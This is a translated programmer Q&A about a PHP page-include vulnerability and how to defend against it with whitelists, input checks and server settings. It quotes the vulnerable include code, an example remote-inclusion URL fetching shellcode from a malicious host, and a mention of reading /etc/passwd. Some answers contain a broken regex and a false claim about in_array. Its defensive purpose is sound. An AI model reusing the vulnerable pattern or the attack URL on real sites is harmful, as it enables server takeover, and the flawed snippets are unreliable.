else
include"home.php";"/>

关于安全性:避免PHP中代码注入的最佳方法

关于安全性:避免PHP中代码注入的最佳方法

Best way to avoid code injection in PHP

我的网站最近遭到了一个无辜的代码的攻击:

1
2
3
4
5
6
7
<?php
  if ( isset( $ _GET['page'] ) ) {
    include( $ _GET['page'] .".php" );
  } else {
    include("home.php");
  }
?>

那里没有SQL调用,因此我不担心SQL注入。 但是,显然,SQL并不是唯一的注入方式。

该网站提供了解释和避免代码注入的一些示例:http://www.theserverpages.com/articles/webmasters/php/security/Code_Injection_Vulnerabilities_Explained.html

您如何保护该代码免于注入代码?


使用白名单,并确保页面在白名单中:

1
2
3
4
5
6
7
  $whitelist = array('home', 'page');

  if (in_array($_GET['page'], $whitelist)) {
        include($_GET['page'].'.php');
  } else {
        include('home.php');
  }


清除输入的另一种方法是确保仅允许输入的字符(不包含" /","。",":",...)。但是,不要对不良字符使用黑名单,而对允许的字符使用白名单:

1
$page = preg_replace('[^a-zA-Z0-9]', '', $page);

...然后是file_exists。

这样,您可以确保仅执行要执行的脚本(例如,这将排除" blabla.inc.php",因为不允许使用"。")。

注意:这是一种" hack",因为这样用户可以执行" h.o.m.e",并且会显示" home"页面,因为它所做的只是删除所有禁止的字符。这并不是要阻止想要在页面上添加可爱内容的"聪明人",但它会阻止人们做真正不好的事情。

顺便说一句:您可以在.htaccess文件中做的另一件事是防止明显的攻击尝试:

1
2
3
4
RewriteEngine on
RewriteCond %{QUERY_STRING} http[:%] [NC]
RewriteRule .* /–http– [F,NC]
RewriteRule http: /–http– [F,NC]

这样,所有使用" http:" URL(和查询字符串)进行的页面访问都会导致"禁止"错误消息,甚至无法到达php脚本。这样可以减少服务器负载。

但是请记住,查询字符串中不允许使用" http"。您的网站在某些情况下(可能是在填写表格时)可能需要它。

顺便说一句:如果您能读德语:我也有一篇关于该主题的博客文章。


Pek,除了sql注入之外,甚至还有不同类型的代码注入,还有很多事情需要担心。现在也许是个很好的时机,对一般的Web应用程序安全性有进一步的了解。

从上一个关于从桌面开发到网络开发的问题开始,我写道:

The OWASP Guide to Building Secure Web Applications and Web Services should be compulsory reading for any web developer that wishes to take security seriously (which should be all web developers). There are many principles to follow that help with the mindset required when thinking about security.

If reading a big fat document is not for you, then have a look at the video of the seminar Mike Andrews gave at Google a couple years back about How To Break Web Software.


接受用户输入时的#1规则始终会对其进行清理。在这里,您没有在将页面GET变量传递到include之前对其进行清理。在包含文件之前,应该执行基本检查以查看文件在服务器上是否存在。


我假设您处理同一目录中的文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
if (isset($_GET['page']) && !empty($_GET['page'])) {
  $page = urldecode($_GET['page']);
  $page = basename($page);
  $file = dirname(__FILE__) ."/{$page}.php";
  if (!file_exists($file)) {
    $file = dirname(__FILE__) . '/home.php';
  }
} else {
  $file = dirname(__FILE__) . '/home.php';
}
include $file;
?>

这不是很漂亮,但是应该可以解决您的问题。


pek,对于短期修复,请使用其他用户建议的解决方案之一。对于中长期计划,您应该考虑迁移到现有的Web框架之一。他们以可靠,安全的方式处理路由和文件包含等所有低级内容,因此您可以专注于核心功能。

不要重新发明轮子。使用框架。他们中的任何一个总比没有好。最初在学习上的投入几乎可以立即收回。


我知道这是一篇非常老的文章,希望您不再需要任何答案,但是我仍然想念一个非常重要的方面,恕我直言,我喜欢与其他分享此文章的人分享。在包含基于变量值的文件的代码中,您在字段的值和请求的结果之间建立了直接链接(页面变为page.php)。我认为最好避免这种情况。
对某个页面的请求与该页面的交付之间有区别。如果您有这种区别,则可以使用非常友好的URL,它们对用户和SEO都非常友好。可以使用" Spinoza-Ethica"之类的URL代替" page"之类的字段值。这是数据库中白名单中的键或表中的主键,并且将返回硬编码的文件名或值。该方法除了具有正常的白名单外,还具有其他优点:

  • 后端响应实际上独立于前端请求。如果要以其他方式设置后端系统,则不必在前端进行任何更改。

  • 始终确保以硬编码的文件名或数据库中的等效文件名结尾(最好是存储过程的返回值),因为当您使用请求中的信息来构建响应时,这会带来麻烦。

  • 由于您的URL与后端的交付无关,因此您无需为此类更改而在htAccess文件中重写您的URL。

  • 呈现给用户的URL是用户友好的,从而向用户通知文档的内容。

  • 好的URL对SEO非常有用,因为搜索引擎正在搜索相关的内容,并且当您的URL与内容一致时,它将获得更高的汇率。至少比您的内容绝对不符合您的内容时更好。

  • 如果您不直接链接到php文件,则可以在处理之前将漂亮的URL转换为任何其他类型的请求。这为程序员提供了更大的灵活性。

  • 您将必须清理请求,因为您是从标准的不可信来源(Web的其余部分)获取信息的。仅使用漂亮的URL作为输入可能会简化URL的清理过程,因为您可以检查返回的URL是否符合您自己的格式。确保精美的URL的格式不包含在漏洞利用程序中广泛使用的字符(例如',",<,>,-,&;等。)。


  • 到目前为止,有一些不错的答案,也值得指出一些PHP细节:

    文件打开功能使用包装程序来支持不同的协议。这包括通过本地Windows网络,HTTP和FTP等打开文件的功能。因此,在默认配置下,原始问题中的代码可以轻松地用于打开Internet以及以后的任意文件;包括服务器本地磁盘上的所有文件(webbserver用户可以读取)。 /etc/passwd总是很有趣的。

    安全模式和open_basedir可用于限制访问特定目录之外的文件。

    配置设置allow_url_fopen也很有用,当使用文件打开功能时,该设置可以禁用对文件的URL访问。 ini-set可用于在运行时设置和取消设置该值。

    这些都是不错的后备安全防护装置,但是请使用白名单来包含文件。


    想想URL是这样的格式:

    www.yourwebsite.com/index.php?page=http://malicodes.com/shellcode.txt

    如果shellcode.txt运行SQL或PHP注入,那么您的网站将面临风险,对吗?一定要考虑一下,使用白名单会有所帮助。

    有一种方法可以过滤所有变量以避免被黑客入侵。您可以使用PHP IDS或OSE Security Suite来避免黑客入侵。安装安全套件后,您需要激活该套件,这里是指南:

    http://www.opensource-excellence.com/shop/ose-security-suite/item/414.html

    我建议您打开第二层保护,然后将过滤所有POST和GET变量,尤其是我提到的变量,如果发现攻击,它将立即向您报告/

    安全永远是重中之重


    @pek-这行不通,因为您的数组键是0和1,而不是'home'和'page'。

    我相信这段代码应该可以解决问题:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    <?php

    $whitelist = array(
      'home',
      'page',
    );

    if(in_array($_GET['page'], $whitelist)) {
      include($_GET['page'] . '.php');
    } else {
      include('home.php');
    }

    ?>

    由于您拥有白名单,因此也不需要file_exists()


    推荐阅读